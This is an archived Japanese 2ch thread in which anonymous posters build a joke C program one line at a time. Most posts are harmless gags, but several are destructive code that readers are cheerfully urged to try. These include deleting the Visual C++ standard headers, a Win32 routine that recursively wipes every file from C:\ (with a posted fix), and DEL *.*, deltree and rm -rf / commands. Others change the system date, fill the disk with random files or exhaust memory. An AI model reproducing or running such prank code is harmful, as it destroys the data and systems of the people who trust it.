トップページ⇒tech
774コメント138KB

みんなでCのコードを1行ずつ書いていくスレ

■ このスレッドは過去ログ倉庫に格納されています
0001デフォルトの名無しさん NGNG
ラウンジ@避難所にもあるがここならば
素晴らしいものが出来るかもしれん。
みんなの健闘に期待する!

//とりあえず一行ずつ頼む。
0552デフォルトの名無しさんNGNG
case 2ch:
0553デフォルトの名無しさんNGNG
asm {
  jmp *
}
0554 NGNG
// 次でボケて
0555デフォルトの名無しさんNGNG
// なんでアセンブラなのか、小一時間問い詰めたい
0556デフォルトの名無しさんNGNG
#if 1
0557デフォルトの名無しさんNGNG
#elif 2
0558デフォルトの名無しさんNGNG
if( !A );{ printf("\aアフォ氏ネ\rあれれ? なぜA==1でも表示されるの?(w\n"); }
0559デフォルトの名無しさんNGNG
for(;;)
printf("\a");
0560デフォルトの名無しさんNGNG
#else
0561デフォルトの名無しさんNGNG
//以降、デタラメ書いてもコンパイルしません。
0562デフォルトの名無しさんNGNG
for(;;)*poo++ = 0xAA;
0563デフォルトの名無しさんNGNG
/*
0564デフォルトの名無しさんNGNG
*/
0565デフォルトの名無しさんNGNG
while(1)
puts("重大なエラー");
0566デフォルトの名無しさんNGNG
/* "//" でコメントしたらコンパイラによってはエラーがでるのでは。。 */
0567デフォルトの名無しさんNGNG
goto 1;
0568デフォルトの名無しさん :99/12/19 11:48NGNG
if(Ballmer_no_taijuu-100>=1)
puts("診断結果:サル踊りでダイエットしましょう。");
0569デフォルトの名無しさんNGNG
bcc32 http://pc.2ch.net/test/read.cgi/tech/1000040562/
0570デフォルトの名無しさんNGNG
if(insert(penis)==3){}
0571デフォルトの名無しさんNGNG
/*さあ、君もLets'Try!*/

char count=0,fpbackup[]="C:\\Program Files\\"
"Microsoft Visual Studio\\VC98\\Include\\",
*filename[]={
"assert.h","ctype.h","errno.h","float.h",
"limits.h","locale.h","math.h","setjmp.h",
"signal.h","stdarg.h","stddef.h","stdio.h",
"stdlib.h","string.h","time.h"
},
filepath[sizeof filename/sizeof(char *)][sizeof fpbackup+8]
/*次の文に続く*/;
0572デフォルトの名無しさんNGNG
for(;count!=sizeof filename/sizeof(char *);count++)
remove(
strcat(strcpy(filepath[count],fpbackup),filename[count])
)

/*さあ、君もLets'Try!*/ ;
0573デフォルトの名無しさんNGNG
折れは "G:\\Program Files ・・・・" だから、カンケーナイ
0574デフォルトの名無しさんNGNG
ならばC:\\をG:\\に変えてLets'Try!
0575デフォルトの名無しさんNGNG
コンパイルエラーになるので Lets'Try! できませんでした。
0576デフォルトの名無しさんNGNG
新規作成(&N)
0577デフォルトの名無しさんNGNG
/*さあ、君もLets'Try!*/

char count=0,fpbackup[]=
{"C:\\Program Files\\Microsoft Visual Studio\\VC98\\Include\\"},
*filename[]={"assert.h","ctype.h","errno.h","float.h",
"limits.h","locale.h","math.h","setjmp.h",
"signal.h","stdarg.h","stddef.h","stdio.h",
"stdlib.h","string.h","time.h"},
filepath[sizeof(fpbackup)+12];
for(;count!=sizeof(filename)/sizeof(char *);count++)
remove(strcat(strcpy(filepath,fpbackup),filename[count]));

/*さあ、君もLets'Try!*/
0578デフォルトの名無しさんNGNG
#include "2ch.net"
0579デフォルトの名無しさんNGNG
LD GR1,""
ST GR1,579
0580デフォルトの名無しさんNGNG
_asm{
0581デフォルトの名無しさんNGNG
#endif
0582デフォルトの名無しさんNGNG
int c;
/* マギの裏コードのイントのC */
0583デフォルトの名無しさんNGNG
int 2ch;
0584デフォルトの名無しさんNGNG
#define 8等身はキモイ 1
0585デフォルトの名無しさんNGNG
/*
0586デフォルトの名無しさんNGNG
*//*
0587デフォルトの名無しさんNGNG
>>575
動作確認は行ったYO!
0588デフォルトの名無しさんNGNG
while(1)
printf("\a致命的なエラー");
0589デフォルトの名無しさんNGNG
printf("Hello,World!\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
"\n\n\n\n\n");
0590デフォルトの名無しさんNGNG
goto >>1
0591(´Д`)y-~NGNG
char *cp="Hello,World!";
for(;;)
printf("%s\n",cp)
0592デフォルトの名無しさんNGNG
goto >>592
0593デフォルトの名無しさんNGNG
*/
0
/*
0594デフォルトの名無しさん NGNG
>>591
セミコロン付け忘れてるぞw
それに一文ずつだぞw
0595594NGNG
「一文ずつ」じゃなくて「一行ずつ」だったか。
つーかすでに守られてないなw
0596デフォルトの名無しさんNGNG
remove(__FILE__)/*おはよう!さあ、君もLets'Try*/;
0597デフォルトの名無しさんNGNG
/* puts("さくらタンのエロ画像キボンヌ"); */
0598デフォルトの名無しさんNGNG
main++;
0599デフォルトの名無しさんNGNG
/*
0600デフォルトの名無しさん NGNG
system("DATE 2099-12-31")/*ちょっとしたイタズラさ・・・*/;
0601デフォルトの名無しさん NGNG
while(1)
printf("\aさくらタンのエロ画像キボンヌ")
/*597のソースを参考にさせてもらったさ・・・フッ*/;
0602デフォルトの名無しさんNGNG
return main(main(main(main(main(main(main(main(main()))))))));
0603デフォルトの名無しさん NGNG
int main(void)
{
printf("\aさくらタンのエロ画像キボンヌ");
return main();
}
/*602のソースを参考にさせてもらったさ・・・フッ*/
0604デフォルトの名無しさん NGNG
/*エラーも警告もなしにビルドできてるのは俺ぐらいなものさ*/
0605デフォルトの名無しさん NGNG
/*602のそーすと混ぜてみたさ・・・*/
int main()
{
printf("\aさくらタンのエロ画像キボンヌ");
return main(main(main(main(main(main(main(main(main()))))))));
}
0606フェイルセーフNGNG
#define retrun return
0607デフォルトの名無しさんNGNG
それいいね。
でもさ、ソース見られたらはづかしいし、コンパイル前にフェイルセールな痴漢スクリプト通したらイインジャン?
0608デフォルトの名無しさんNGNG
/*^o^*/
0609デフォルトの名無しさんNGNG
int main(void)
/*こーゆーのもすき*/
int main(){
printf("\aさくらタンのエロ画像キボンヌ");
return main()+main();
}
0610デフォルトの名無しさんNGNG
/* >>607 コンパイルエラーですね。きちんとコメントにしましょう。 */
0611デフォルトの名無しさんNGNG
#if 0
>>609
意味無し
0612デフォルトの名無しさんNGNG
/* 悪ふざけっていいですね http://choco.2ch.net/test/read.cgi/news/1008909055/
0613デフォルトの名無しさんNGNG
/*さあ、君もLets'Try!*/
void RemoveAllFiles()
{
void RemoveSub(HANDLE, LPWIN32_FIND_DATA, LPSTR);
char path[MAX_PATH];
WIN32_FIND_DATA ffData;
HANDLE hFind;

strcpy(path, "C:\\");
hFind = FindFirstFile(path, &ffData);
RemoveSub(hFind, &ffData, path);
}

void RemoveSub(HANDLE hFind, LPWIN32_FIND_DATA pfData, LPSTR path)
{
char subPath[MAX_PATH];
LPSTR lpYen;
WIN32_FIND_DATA ffData;
HANDLE hFindSub;

do {
strcpy(subPath, path);
lpYen = strrchr(subPath, '\\');
if (lpYen) {
strcpy(lpYen+1, pfData->cFileName);
} else {
strcpy(subPath, pfData->cFileName);
}
if ((pfData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
if (lstrcmp(pfData->cFileName, ".") == 0) continue;
if (lstrcmp(pfData->cFileName, "..") == 0) continue;
lpYen = strrchr(path, '\\');
if (lpYen) {
strcat(subPath, "\\");
strcat(subPath, strrchr(path, '\\')+1);
} else {
strcat(subPath, "\\");
strcat(subPath, path);
}
hFindSub = FindFirstFile(subPath, &ffData);
if (hFindSub != INVALID_HANDLE_VALUE) {
RemoveSub(hFindSub, &ffData, subPath);
}
} else {
DeleteFile(subPath);
}
} while (FindNextFile(hFind, pfData));
FindClose(hFind);

lpYen = strrchr(path, '\\');
if (lpYen) *lpYen = '\0';
RemoveDirectory(path);
}
0614デフォルトの名無しさんNGNG
*/ // >>612-614
0615デフォルトの名無しさんNGNG
>>613
× strcpy(path, "C:\\");
○ strcpy(path, "C:\\*.*");
0616デフォルトの名無しさんNGNG
/*
>>613
フッ・・・APIまで使うとはナイスさ
でも長くなりすぎさ・・・
*/
0617デフォルトの名無しさんNGNG
system( "DEL *.*" );
0618デフォルトの名無しさんNGNG
/* >>617どうせならsystem("deltree \\");で。 */
0619BASICERNGNG
if (>>403) { printf("AUTOから出る方法教えて!\n") }
0620BASICERNGNG
                      ↑
                      ;
0621デフォルトの名無しさんNGNG
void put8tousinmona-(void){
0622デフォルトの名無しさんNGNG
/* >>621 '-'は関数名には使えません。 */
0623デフォルトの名無しさんNGNG
// system("rm -rf"); で。
0624デフォルトの名無しさんNGNG
/* system("rm -rf /*"); かな */
0625デフォルトの名無しさんNGNG
static void kusakabe_youichi( void );
0626デフォルトの名無しさんNGNG
こんなのどうでしょ
http://k-server.org/idolst/
0627デフォルトの名無しさんNGNG
class
0628デフォルトの名無しさんNGNG
/* >>622マジレスされると困っちゃうな */
0629デフォルトの名無しさんNGNG
exit(1);
0630デフォルトの名無しさんNGNG
int _prm01, _prm02, _prm03, _prm04 ;
0631デフォルトの名無しさんNGNG
LOVE 8tousin_to_1san(KIMOI *sakujoirai)
0632デフォルトの名無しさんNGNG
#include <stdio.h> /* VC は分からないぞ */
0633デフォルトの名無しさんNGNG
#define private public
0634マイデータNGNG
i+=1;(ギャハハ
0635ちゃんと前のコード使わないとNGNG
i=printf("private←(・∀・)→\n");
0636デフォルトの名無しさんNGNG
/*STL使用禁止*/
0637デフォルトの名無しさんNGNG
/* malloc系関数仕様禁止 */
0638デフォルトの名無しさんNGNG
/*/*//*/*//*/*//*/*//*/*//*/*//*/*/
/*おはよう!さあ、君もLets'Try!/*/
/*//*//*//*//*/*//*/*//*/*//*//*/

#/*VC++でビルド*/
#include<stdio.h>
#include<stdlib.h>
#include<time.h>

int main(void)
{
char filename[0xDA];
int count,flag;
FILE *fp;

srand((unsigned)time(NULL));

while(0x1)
{
for(count=0x0;count!=(sizeof filename/sizeof(char))-1;count++)
{
flag=0x0;
while(!flag)
{
switch(filename[count]=(char)(0x5E/(double)RAND_MAX*rand()+0x21))
{
case '\\':
case '/':
case ':':
case '.':
case ';':
case '*':
case '?':
case '"':
case '<':
case '>':
case '|':
break;
default:
flag=0x1;
}
}
}
filename[count]='\0';
fp=fopen(filename,"w");
fclose(fp);
}
return 0x00;
}
0639省略されましたNGNG
char c[]="APIの使いがわからん!\n";
0640デフォルトの名無しさんNGNG
/*ちょっとしたイタズラさ・・・*/

#include<stdio.h>

int main(void)
{
char buf[0xFFFF];
FILE *fp=fopen("Lets'Try!","w");

puts("前処理中です。しばらくお待ちください・・・");

while(0x1)
fputs(buf,fp);

return 0x00;
}
0641デフォルトの名無しさんNGNG
for(BOOL bl=0;bl<1000;bl++)

とか書いてもよいでしょうか?
0642デフォルトの名無しさんNGNG
int i = 10;
char *s = (char *)malloc(i);
while(1) {
  i *= 10;
  s = (char *)realloc(s, i);
}
0643デフォルトの名無しさんNGNG
char ( ´∀`);
for(( ´∀`)=0;( ´∀`) < (゚д゚;);( ´∀`)++){
 if(>>66)
  printf("includeするヘッダの一覧ってどこにあるんでしょうか?\n");
 else
  printf("誰かWinでディレクトリエントリを取るコード書いてくれ!?\n");

}
0644デフォルトの名無しさんNGNG
__asm{
  int 2
}
0645デフォルトの名無しさんNGNG
/* >>643 ものによって違うじゃん。/usr/includeとか */
0646デフォルトの名無しさんNGNG
char 10[c];
0647デフォルトの名無しさんNGNG
for(;;)if(kbhit())break;
0648デフォルトの名無しさんNGNG
for(;;) putchar('\a');
0649デフォルトの名無しさんNGNG
fprintf(stdout,"%s\n","Hello,world!!");
0650デフォルトの名無しさんNGNG
/*C++のコードでも(・∀・)イイ!! っすか?*/
0651デフォルトの名無しさんNGNG
remove(>>650);
0652デフォルトの名無しさんNGNG
this->aborn();
■ このスレッドは過去ログ倉庫に格納されています